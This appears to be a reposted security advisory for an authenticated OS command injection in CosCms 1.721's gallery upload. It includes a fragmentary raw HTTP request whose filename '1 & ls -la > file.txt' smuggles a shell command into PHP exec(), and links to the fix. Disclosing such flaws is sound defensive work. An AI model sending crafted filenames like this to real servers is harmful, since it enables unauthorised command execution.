影响产品: CosCms
开发者: http://www.coscms.org
缺陷影响版本: 1.721 and probably prior
已测试版本: 1.721
分析：
High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary OS commands on web server where the vulnerable application is hosted.
Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges of the web server.
The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP requests, e.g. telnet:
Content-Length: 970 www.2cto.com
Content-Disposition: form-data; name="title"
Content-Disposition: form-data; name="image_add"
Content-Disposition: form-data; name="description"
Content-Disposition: form-data; name="tags"
Content-Disposition: form-data; name="MAX_FILE_SIZE"
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"
511ad0922b50f
Content-Disposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream
Content-Disposition: form-data; name="submit"
Update
-----------------------------21456260222104--
Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. User registration is disabled by default.
解决方案:
More Information:
https://github.com/diversen/gallery/blob/master/upload/index.php
https://github.com/diversen/gallery/commit/7d58f870e8edc6597485dd1b80ea9fb78580190c
查看更多关于CosCms 1.721 - OS命令注入 - 网站安全 - 自学php的详细内容...